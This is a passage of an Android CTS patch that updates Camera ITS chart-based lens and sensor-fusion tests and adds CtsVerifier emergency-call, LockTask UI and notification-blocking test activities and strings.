-                                                                  xnorm, ynorm,
-                                                                  wnorm, hnorm))
-        its.image.write_image(chart, '%s_stat_i=%d_chart.jpg' % (NAME, i))
-        data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+        chart.img = its.image.normalize_img(its.image.get_image_patch(
+                y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+        its.image.write_image(chart.img, '%s_stat_i=%d_chart.jpg' % (NAME, i))
+        data['sharpness'] = white_level*its.image.compute_image_sharpness(
+                chart.img)
         print 'Chart sharpness: %.1f\n' % data['sharpness']
         data_static[i] = data
     # take moving data set
@@ -115,12 +105,12 @@
         print ' focus distance (diopters): %.3f' % data['fd']
         print ' current lens location (diopters): %.3f' % data['loc']
         y, _, _ = its.image.convert_capture_to_planes(cap, props)
-        y = its.image.flip_mirror_img_per_argv(y)
-        chart = its.image.normalize_img(its.image.get_image_patch(y,
-                                                                  xnorm, ynorm,
-                                                                  wnorm, hnorm))
-        its.image.write_image(chart, '%s_move_i=%d_chart.jpg' % (NAME, i))
-        data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+        y = its.image.rotate_img_per_argv(y)
+        chart.img = its.image.normalize_img(its.image.get_image_patch(
+                y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+        its.image.write_image(chart.img, '%s_move_i=%d_chart.jpg' % (NAME, i))
+        data['sharpness'] = white_level*its.image.compute_image_sharpness(
+                chart.img)
         print 'Chart sharpness: %.1f\n' % data['sharpness']
         data_moving[i] = data
     return data_static, data_moving
@@ -128,19 +118,23 @@
 
 def main():
     """Test if focus position is properly reported for moving lenses."""
-
     print '\nStarting test_lens_position.py'
+    # initialize chart class
+    chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+                               CHART_SCALE_START, CHART_SCALE_STOP,
+                               CHART_SCALE_STEP)
+
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         its.caps.skip_unless(not its.caps.fixed_focus(props))
         its.caps.skip_unless(its.caps.lens_calibrated(props))
         fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
 
-        # Get proper sensitivity, exposure time, and focus distance with 3A.
-        s, e, _, _, fd = cam.do_3a(get_results=True)
+        # Get proper sensitivity and exposure time with 3A
+        s, e, _, _, _ = cam.do_3a(get_results=True)
 
         # Get sharpness for each focal distance
-        d_stat, d_move = test_lens_position(cam, props, fmt, s, e, fd)
+        d_stat, d_move = test_lens_position(cam, props, fmt, s, e, chart)
         print 'Lens stationary'
         for k in sorted(d_stat):
             print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index e8a5b81..faacaf9 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -116,7 +116,7 @@
             # Split by comma and convert each dimension to int.
             [w, h] = map(int, s[9:].split(","))
         elif s[:12] == "test_length=" and len(s) > 12:
-            test_length = int(s[12:])
+            test_length = float(s[12:])
 
     # Collect or load the camera+gyro data. All gyro events as well as camera
     # timestamps are in the "events" dictionary, and "frames" is a list of
@@ -345,7 +345,7 @@
         if num_features < MIN_FEATURE_PTS:
             print "Not enough feature points in frame", i
             print "Need at least %d features, got %d" % (
-                    MIN_FEATURE_PTS, num_features)
+                MIN_FEATURE_PTS, num_features)
             assert 0
         else:
             print "Number of features in frame %d is %d" % (i, num_features)
@@ -447,13 +447,12 @@
         fmt = {"format": "yuv", "width": w, "height": h}
         s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
         req = its.objects.manual_capture_request(s, e)
-        fps = 30
         req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
         req["android.control.aeTargetFpsRange"] = [fps, fps]
         req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
-        print "Capturing %dx%d with sens. %d, exp. time %.1fms" % (
-            w, h, s, e*NSEC_TO_MSEC)
-        caps = cam.do_capture([req]*fps*test_length, fmt)
+        print "Capturing %dx%d with sens. %d, exp. time %.1fms at %dfps" % (
+            w, h, s, e*NSEC_TO_MSEC, fps)
+        caps = cam.do_capture([req]*int(fps*test_length), fmt)
 
         # Get the gyro events.
         print "Reading out sensor events"
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 47f7296..5788d19 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -21,13 +21,24 @@
 import sys
 
 import its.caps
+import its.cv2image
 import its.device
+import its.image
 from its.device import ItsSession
 
 CHART_DELAY = 1  # seconds
+CHART_DISTANCE = 30.0  # cm
+CHART_HEIGHT = 13.5  # cm
+CHART_SCALE_START = 0.65
+CHART_SCALE_STOP = 1.35
+CHART_SCALE_STEP = 0.025
 FACING_EXTERNAL = 2
 NUM_TRYS = 2
+SCENE3_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
+                           'test_images', 'ISO12233.png')
 SKIP_RET_CODE = 101  # note this must be same as tests/scene*/test_*
+VGA_HEIGHT = 480
+VGA_WIDTH = 640
 
 
 def evaluate_socket_failure(err_file_path):
@@ -100,6 +111,7 @@
             ],
         "scene3": [
             "test_3a_consistency",
+            "test_flip_mirror",
             "test_lens_movement_reporting",
             "test_lens_position"
             ],
@@ -299,6 +311,15 @@
                     valid_scene_code = subprocess.call(cmd, cwd=topdir)
                     assert valid_scene_code == 0
             print "Start running ITS on camera %s, %s" % (camera_id, scene)
+            # Extract chart from scene for scene3 once up front
+            chart_loc_arg = ''
+            if scene == 'scene3':
+                chart = its.cv2image.Chart(SCENE3_FILE, CHART_HEIGHT,
+                                           CHART_DISTANCE, CHART_SCALE_START,
+                                           CHART_SCALE_STOP, CHART_SCALE_STEP)
+                chart_loc_arg = 'chart_loc=%.2f,%.2f,%.2f,%.2f,%.3f' % (
+                        chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm,
+                        chart.scale)
             # Run each test, capturing stdout and stderr.
             for (testname, testpath) in tests:
                 if auto_scene_switch:
@@ -330,7 +351,7 @@
                             test_code = skip_code
                     if skip_code is not SKIP_RET_CODE:
                         cmd = ['python', os.path.join(os.getcwd(), testpath)]
-                        cmd += sys.argv[1:] + [camera_id_arg]
+                        cmd += sys.argv[1:] + [camera_id_arg] + [chart_loc_arg]
                         with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
                             test_code = subprocess.call(
                                 cmd, stderr=ferr, stdout=fout, cwd=outdir)
diff --git a/apps/CameraITS/tools/run_sensor_fusion_box.py b/apps/CameraITS/tools/run_sensor_fusion_box.py
index ec16b3d..41f1180 100644
--- a/apps/CameraITS/tools/run_sensor_fusion_box.py
+++ b/apps/CameraITS/tools/run_sensor_fusion_box.py
@@ -82,10 +82,6 @@
         elif s[:8] == 'tmp_dir=' and len(s) > 8:
             tmp_dir = s[8:]
 
-    if camera_id not in ['0', '1']:
-        print 'Need to specify camera 0 or 1'
-        sys.exit()
-
     # Make output directories to hold the generated files.
     tmpdir = tempfile.mkdtemp(dir=tmp_dir)
     print 'Saving output files to:', tmpdir, '\n'
@@ -94,6 +90,12 @@
     device_id_arg = 'device=' + device_id
     print 'Testing device ' + device_id
 
+    # ensure camera_id is valid
+    avail_camera_ids = find_avail_camera_ids(device_id_arg, tmpdir)
+    if camera_id not in avail_camera_ids:
+        print 'Need to specify valid camera_id in ', avail_camera_ids
+        sys.exit()
+
     camera_id_arg = 'camera=' + camera_id
     if rotator_ids:
         rotator_id_arg = 'rotator=' + rotator_ids
@@ -104,6 +106,7 @@
 
     fps_arg = 'fps=' + fps
     test_length_arg = 'test_length=' + test_length
+    print 'Capturing at %sfps' % fps
 
     os.mkdir(os.path.join(tmpdir, camera_id))
 
@@ -217,6 +220,28 @@
                 return line
     return None
 
+def find_avail_camera_ids(device_id_arg, tmpdir):
+    """Find the available camera IDs.
+
+    Args:
+        devices_id_arg(str):    device=###
+        tmpdir(str):            generated tmp dir for run
+    Returns:
+        list of available cameras
+    """
+    avail_camera_ids = []
+    camera_ids_path = os.path.join(tmpdir, 'camera_ids.txt')
+    out_arg = 'out=' + camera_ids_path
+    cmd = ['python',
+           os.path.join(os.getcwd(), 'tools/get_camera_ids.py'), out_arg,
+           device_id_arg]
+    cam_code = subprocess.call(cmd, cwd=tmpdir)
+    assert cam_code == 0
+    with open(camera_ids_path, "r") as f:
+        for line in f:
+            avail_camera_ids.append(line.replace('\n', ''))
+    return avail_camera_ids
+
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 9fcbdb1..724848e 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -42,6 +42,8 @@
 
 LOCAL_JAVA_LIBRARIES := legacy-android-test
 
+LOCAL_JAVA_LIBRARIES += telephony-common
+
 LOCAL_PACKAGE_NAME := CtsVerifier
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsverifier_jni \
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 514056a..171e18c 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -67,6 +67,12 @@
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
 
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.SEND_SMS" />
+
     <!-- Needed by UsbTest tapjacking -->
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
 
@@ -82,6 +88,11 @@
             android:largeHeap="true"
             android:theme="@android:style/Theme.DeviceDefault">
 
+        <provider android:name="android.location.cts.MmsPduProvider"
+                android:authorities="emergencycallverifier"
+                android:grantUriPermissions="true" />
+        <uses-library android:name="android.test.runner" />
+
         <meta-data android:name="SuiteName" android:value="CTS_VERIFIER" />
 
         <meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
@@ -1099,6 +1110,43 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
         </activity>
 
+        <activity android:name=".location.EmergencyCallWifiTestsActivity"
+            android:label="@string/location_emergency_call_wifi_test"
+            android:screenOrientation="locked">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+            <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
+        </activity>
+
+        <activity android:name=".location.EmergencyCallMessageTestsActivity"
+            android:label="@string/location_emergency_call_message_test"
+            android:screenOrientation="locked">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+            <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.telephony"/>
+        </activity>
+
+        <activity android:name=".location.EmergencyCallGNSSTestsActivity"
+            android:label="@string/location_emergency_call_gps_test"
+            android:screenOrientation="locked">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+            <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
+        </activity>
+
         <activity android:name=".location.GnssMeasurementWhenNoLocationTestsActivity"
             android:label="@string/location_gnss_measure_no_location_test"
             android:screenOrientation="locked">
@@ -1829,6 +1877,13 @@
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
         </activity>
 
+        <receiver android:name=".notifications.BlockChangeReceiver">
+            <intent-filter>
+                <action android:name="android.app.action.NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED"/>
+                <action android:name="android.app.action.NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+
         <activity android:name=".notifications.ConditionProviderVerifierActivity"
                   android:label="@string/cp_test">
             <intent-filter>
@@ -2294,6 +2349,14 @@
                 android:label="@string/provisioning_byod_disallow_apps_control">
         </activity>
 
+        <activity android:name=".managedprovisioning.LockTaskUiTestActivity"
+                android:label="@string/device_owner_lock_task_ui_test">
+            <intent-filter>
+                <action android:name="com.android.cts.verifier.managedprovisioning.action.STOP_LOCK_TASK" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
         <activity android:name=".managedprovisioning.WifiLockdownTestActivity"
                 android:label="@string/device_owner_wifi_lockdown_test">
         </activity>
diff --git a/apps/CtsVerifier/res/layout/device_owner_lock_task_ui.xml b/apps/CtsVerifier/res/layout/device_owner_lock_task_ui.xml
new file mode 100644
index 0000000..00dee1a
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/device_owner_lock_task_ui.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              style="@style/RootLayoutPadding"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:fillViewport="true">
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:orientation="vertical">
+
+            <TextView
+                android:id="@+id/device_owner_lock_task_ui_instructions"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/device_owner_lock_task_ui_test_info"
+                android:textSize="18dip" />
+
+            <Button
+                android:id="@+id/start_lock_task_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/start_lock_task_button_label" />
+
+            <ListView
+                android:id="@+id/android:list"
+                android:layout_width="match_parent"
+                android:layout_height="0dp"
+                android:layout_weight="1" />
+
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/emergency_call_confirm_dialog.xml b/apps/CtsVerifier/res/layout/emergency_call_confirm_dialog.xml
new file mode 100644
index 0000000..fae5167
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/emergency_call_confirm_dialog.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical"
+        style="@style/RootLayoutPadding">
+
+        <TextView android:id="@+id/info"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1"
+            android:textSize="18sp"
+            android:padding="5dp"
+            android:text="@string/emergency_call_confirm_info"/>
+        <EditText
+            android:id="@+id/emergency_number"
+            android:layout_height="wrap_content"
+            android:layout_width="match_parent"
+            android:hint="@string/emergency_call_emergency_number_hint_text"
+            android:inputType="phone"
+            android:text="@string/emergency_call_emergency_number_text"/>
+        <Button
+            android:id="@+id/dial_button"
+            android:layout_width="200px"
+            android:layout_height="wrap_content"
+            android:text="@string/emergency_call_dial_text"
+            android:paddingLeft="5dp"
+            android:paddingRight="5dp"
+            android:layout_marginTop="5dp"
+            android:layout_marginRight="5dp"/>
+    </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/emergency_call_msg_test_confirm_dialog.xml b/apps/CtsVerifier/res/layout/emergency_call_msg_test_confirm_dialog.xml
new file mode 100644
index 0000000..071e2bf
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/emergency_call_msg_test_confirm_dialog.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical"
+        style="@style/RootLayoutPadding">
+
+        <TextView android:id="@+id/info"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1"
+            android:textSize="18sp"
+            android:padding="5dp"
+            android:text="@string/emergency_call_confirm_info"/>
+        <EditText
+            android:id="@+id/emergency_number"
+            android:layout_height="wrap_content"
+            android:layout_width="match_parent"
+            android:hint="@string/emergency_call_emergency_number_hint_text"
+            android:inputType="phone"
+            android:text="@string/emergency_call_emergency_number_text"/>
+        <EditText
+            android:id="@+id/local_phone_number"
+            android:layout_height="wrap_content"
+            android:layout_width="match_parent"
+            android:hint="@string/emergency_call_current_number_hint_text"
+            android:inputType="phone"/>
+        <Button
+            android:id="@+id/dial_button"
+            android:layout_width="200px"
+            android:layout_height="wrap_content"
+            android:text="@string/emergency_call_dial_text"
+            android:paddingLeft="5dp"
+            android:paddingRight="5dp"
+            android:layout_marginTop="5dp"
+            android:layout_marginRight="5dp"/>
+    </LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 69f12de..77943cb 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -566,10 +566,32 @@
         (for example, stationary on a windowsill.  If needed, try again, outside, also with the
         device stationary, and with at least some view of the sky.) and then press Next to run
         the automated tests.</string>
+    <string name="location_emergency_call_test_info">This test verifies whether basic features
+        (wifi, sms, gps) works correctly during the emergency call. Make sure the device is using
+        a special white listed sim card. The wifi and GPS should be on and have internet connection.
+    </string>
+    <string name="emergency_call_confirm_info">This test will dial 911! Please make sure to use a
+        whitelisted sim card to run this test!
+    </string>
+    <string name="emergency_call_emergency_number_hint_text">
+        Emergency Number:
+    </string>
+    <string name="emergency_call_current_number_hint_text">
+        Current Number:
+    </string>
+    <string name="emergency_call_dial_text">
+        Dial 911
+    </string>
+    <string name="emergency_call_emergency_number_text">
+        911
+    </string>
     <string name="location_gnss_test_retry_info">If this test fails, please make sure the device
         has line of sight to GNSS satellites (for example, stationary on a windowsill. If needed,
         try again, outside, also with the device stationary, with as much view of the sky as
         possible.) </string>
+    <string name="location_emergency_call_gps_test">Emergency Call GPS Test</string>
+    <string name="location_emergency_call_message_test">Emergency Call Message Test</string>
+    <string name="location_emergency_call_wifi_test">Emergency Call Wifi Test</string>
 
     <!-- Strings for net.ConnectivityScreenOffTestActivity -->
     <string name="network_screen_off_test">Network Connectivity Screen Off Test</string>
@@ -1525,8 +1547,11 @@
     <string name="attention_phone_order">Check that ranker respects telephone URIs for contacts.</string>
     <string name="attention_interruption_order">Check that ranker temporarily boosts interruptions.
     This test takes 30 seconds to complete.</string>
-    <string name="attention_none_are_filtered">Check that \"All\" mode doesn\'t filter any notifications.</string>
-    <string name="attention_some_are_filtered">Check that \"Priority\" mode doesn\'t filter priority notifications.</string>
+    <string name="attention_none_are_filtered_messages">Check that \"All\" mode doesn\'t filter any notifications (messages).</string>
+    <string name="attention_none_are_filtered_diff_categories">Check that \"All\" mode doesn\'t filter any notifications (event, reminder, alarm).</string>
+    <string name="attention_some_are_filtered_messages">Check that \"Priority\" mode doesn\'t filter priority notifications (messages from starred contacts).</string>
+    <string name="attention_some_are_filtered_alarms">Check that \"Priority\" mode doesn\'t filter priority notifications (alarms).</string>
+    <string name="attention_some_are_filtered_media_system_other">Check that \"Priority\" mode doesn\'t filter priority notifications (media, system, other).</string>
     <string name="attention_all_are_filtered">Check that \"None\" mode filters all notifications.</string>
     <string name="nls_test">Notification Listener Test</string>
     <string name="nas_test">Notification Assistant Test</string>
@@ -1564,6 +1589,10 @@
         under Apps > Gear Icon > Default > Notification Assistant and return here.</string>
     <string name="nls_enable_service">Please enable \"Notification Listener for CTS Verifier\"
         under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
+    <string name="nls_block_channel">Please block the linked notification channel and return here.</string>
+    <string name="nls_block_group">Please block the linked notification channel group and return here.</string>
+    <string name="nls_cannot_enable_service">Please make sure you cannot enable
+        \"Notification Listener for CTS Verifier\" and return here.</string>
     <string name="nls_disable_service">Please disable \"Notification Listener for CTS Verifier\"
         under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
     <string name="nls_start_settings">Launch Settings</string>
@@ -1580,6 +1609,7 @@
     <string name="nas_snooze_context">Check that the Assistant can snooze a notification until a given context.</string>
     <string name="nls_clear_one">Check that service can clear a notification.</string>
     <string name="nls_clear_one_reason">Check that service can clear a notification and receive the correct reason for dismissal.</string>
+    <string name="nls_clear_one_stats">Check that service does not receive notification stats.</string>
     <string name="nls_clear_all">Check that service can clear all notifications.</string>
     <string name="nls_service_stopped">Service should stop once disabled.</string>
     <string name="nls_note_missed">Check that notification was not received.</string>
@@ -1593,10 +1623,11 @@
     <string name="nas_note_missed_enqueued">Check that notification was not enqueued.</string>
     <string name="cp_test">Condition Provider test</string>
     <string name="cp_service_name">Condition Provider for CTS Verifier</string>
-    <string name="cp_info">This test checks that a ConditionProviderService can be enabled
+    <string name="cp_info">This test checks that on non-low ram a ConditionProviderService can be enabled
         and disabled, and that once enabled the service is able to create, query, edit, and delete
-        automatic zen rules.
+        automatic zen rules. On low ram devices condition providers should not be bound.
     </string>
+    <string name="cp_cannot_enable_service">Please make sure you cannot enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
     <string name="cp_enable_service">Please enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
     <string name="cp_disable_service">Please disable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
     <string name="cp_start_settings">Launch Settings</string>
@@ -2664,6 +2695,142 @@
     </string>
     <string name="device_owner_disable_keyguard_button">Disable keyguard</string>
     <string name="device_owner_reenable_keyguard_button">Reenable keyguard</string>
+    <string name="device_owner_lock_task_ui_test">LockTask UI</string>
+    <string name="device_owner_lock_task_ui_test_info">
+            The following tests verify the configurable UI during LockTask, a special mode that
+            prevents the user from leaving the current application.\n\n
+            Please make sure the lock screen is turned on before the test. Press the button below to
+            start LockTask mode. Then mark each item as \'pass\' or \'fail\' according to the
+            instructions.\n\n
+            Finally, execute the last test item to leave LockTask mode.
+    </string>
+    <string name="start_lock_task_button_label">Start LockTask mode</string>
+    <string name="device_owner_lock_task_ui_default_test">Default LockTask UI</string>
+    <string name="device_owner_lock_task_ui_default_test_info">
+            Observe the following UI restrictions. Mark the test as \'pass\' only if ALL of the
+            requirements below are met.\n\n
+            1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+            battery status, clock, etc.\n
+            2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+            for the status bar.\n
+            3) The Home button is hidden.\n
+            4) The Recents button is hidden.\n
+            5) Long-press the power button. The power button menu, which usually shows the power-off
+            button, etc., isn\'t shown.\n
+            6) Press the power button to turn off the screen, and press it again to turn the screen
+            back on. Lock screen shouldn\'t be shown.\n
+            7) The assist gesture isn\'t available.
+    </string>
+    <string name="device_owner_lock_task_ui_system_info_test">Enable system info</string>
+    <string name="device_owner_lock_task_ui_system_info_test_info">
+            Press the button below to enable system info. Observe the system info area of the status
+            bar is now enabled. This includes the clock, connectivity info, battery info, etc.\n\n
+            The rest of the UI restrictions should still apply:\n
+            1) Notification icons are still hidden on the status bar.\n
+            2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+            for the status bar.\n
+            3) The Home button is hidden.\n
+            4) The Recents button is hidden.\n
+            5) Long-press the power button. The power button menu, which usually shows the power-off
+            button, etc., isn\'t shown.\n
+            6) Press the power button to turn off the screen, and press it again to turn the screen
+            back on. Lock screen shouldn\'t be shown.\n
+            7) The assist gesture isn\'t available.\n\n
+            Mark the test as \'pass\' only if ALL of the above requirements are met.
+    </string>
+    <string name="device_owner_lock_task_ui_notifications_test">Enable notifications</string>
+    <string name="device_owner_lock_task_ui_notifications_test_info">
+            Press the button below to enable notifications. Observe the notification icons on the
+            status bar are now enabled. The status bar can also be expanded to show the
+            notifications. However, all Settings UI should remain invisible, including Quick
+            Settings and any link to the Settings app.\n\n
+            The rest of the UI restrictions should still apply:\n
+            1) System info area is still hidden on the status bar.\n
+            2) The Home button is hidden.\n
+            3) The Recents button is hidden.\n
+            4) Long-press the power button. The power button menu, which usually shows the power-off
+            button, etc., isn\'t shown.\n
+            5) Press the power button to turn off the screen, and press it again to turn the screen
+            back on. Lock screen shouldn\'t be shown.\n
+            6) The assist gesture isn\'t available.\n\n
+            Mark the test as \'pass\' only if ALL of the above requirements are met.
+    </string>
+    <string name="device_owner_lock_task_ui_home_test">Enable Home button</string>
+    <string name="device_owner_lock_task_ui_home_test_info">
+            Press the button below to enable the Home button. Observe the Home button is now
+            enabled.\n\n
+            The rest of the UI restrictions should still apply:\n
+            1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+            battery status, clock, etc.\n
+            2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+            for the status bar.\n
+            3) The Recents button is hidden.\n
+            4) Long-press the power button. The power button menu, which usually shows the power-off
+            button, etc., isn\'t shown.\n
+            5) Press the power button to turn off the screen, and press it again to turn the screen
+            back on. Lock screen shouldn\'t be shown.\n
+            6) The assist gesture isn\'t available.\n\n
+            Mark the test as \'pass\' only if ALL of the above requirements are met.
+    </string>
+    <string name="device_owner_lock_task_ui_recents_test">Enable Recents button</string>
+    <string name="device_owner_lock_task_ui_recents_test_info">
+            Press the button below to enable the Recents button. Observe the Recents button is now
+            enabled. Press the Recents button and verify the Recents view can be opened.\n\n
+            The rest of the UI restrictions should still apply:\n
+            1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+            battery status, clock, etc.\n
+            2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+            for the status bar.\n
+            3) The Home button is hidden.\n
+            4) Long-press the power button. The power button menu, which usually shows the power-off
+            button, etc., isn\'t shown.\n
+            5) Press the power button to turn off the screen, and press it again to turn the screen
+            back on. Lock screen shouldn\'t be shown.\n
+            6) The assist gesture isn\'t available.\n\n
+            Mark the test as \'pass\' only if ALL of the above requirements are met.
+    </string>
+    <string name="device_owner_lock_task_ui_global_actions_test">Enable global actions</string>
+    <string name="device_owner_lock_task_ui_global_actions_test_info">
+            Press the button below to enable global actions (a.k.a. power button menu). Long-press
+            the power button and verify a menu containing power-off and restart buttons is shown.
+            This menu can\'t contain any UI that allows the user to change system settings (such as
+            airplane mode switch) or access the Settings app.\n\n
+            The rest of the UI restrictions should still apply:\n
+            1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+            battery status, clock, etc.\n
+            2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+            for the status bar.\n
+            3) The Home button is hidden.\n
+            4) The Recents button is hidden.\n
+            5) Long-press the power button. The power button menu, which usually shows the power-off
+            button, etc., isn\'t shown.\n
+            6) The assist gesture isn\'t available.\n\n
+            Mark the test as \'pass\' only if ALL of the above requirements are met.
+    </string>
+    <string name="device_owner_lock_task_ui_keyguard_test">Enable keyguard</string>
+    <string name="device_owner_lock_task_ui_keyguard_test_info">
+            Press the button below to enable keyguard. Press the power button to turn off the screen
+            and press it again to turn the screen back on. Verify that the lock screen is shown.\n\n
+            The rest of the UI restrictions should still apply, both on the lock screen and after
+            the lock screen is dismissed:\n
+            1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+            battery status, clock, etc.\n
+            2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+            for the status bar, even on the lock screen.\n
+            3) The Home button is hidden.\n
+            4) The Recents button is hidden.\n
+            5) Long-press the power button. The power button menu, which usually shows the power-off
+            button, etc., isn\'t shown.\n
+            6) The assist gesture isn\'t available.\n\n
+            Mark the test as \'pass\' only if ALL of the above requirements are met.
+    </string>
+    <string name="device_owner_lock_task_ui_stop_lock_task_test">Stop LockTask mode</string>
+    <string name="device_owner_lock_task_ui_stop_lock_task_test_info">
+            Press the button below to exit LockTask mode.\n\n
+            Observe that the UI has returned to the normal, unrestricted state, and is no longer
+            subject to any LockTask restriction.\n\n
+            Mark the test as \'pass\' or \'fail\' accordingly.
+    </string>
     <string name="device_owner_lockscreen_secure">Please remove lockscreen password</string>
     <string name="device_profile_owner_permission_lockdown_test">Permissions lockdown</string>
     <string name="device_profile_owner_permission_lockdown_test_instructions">
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 8c779c5..8893e0d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -103,7 +103,7 @@
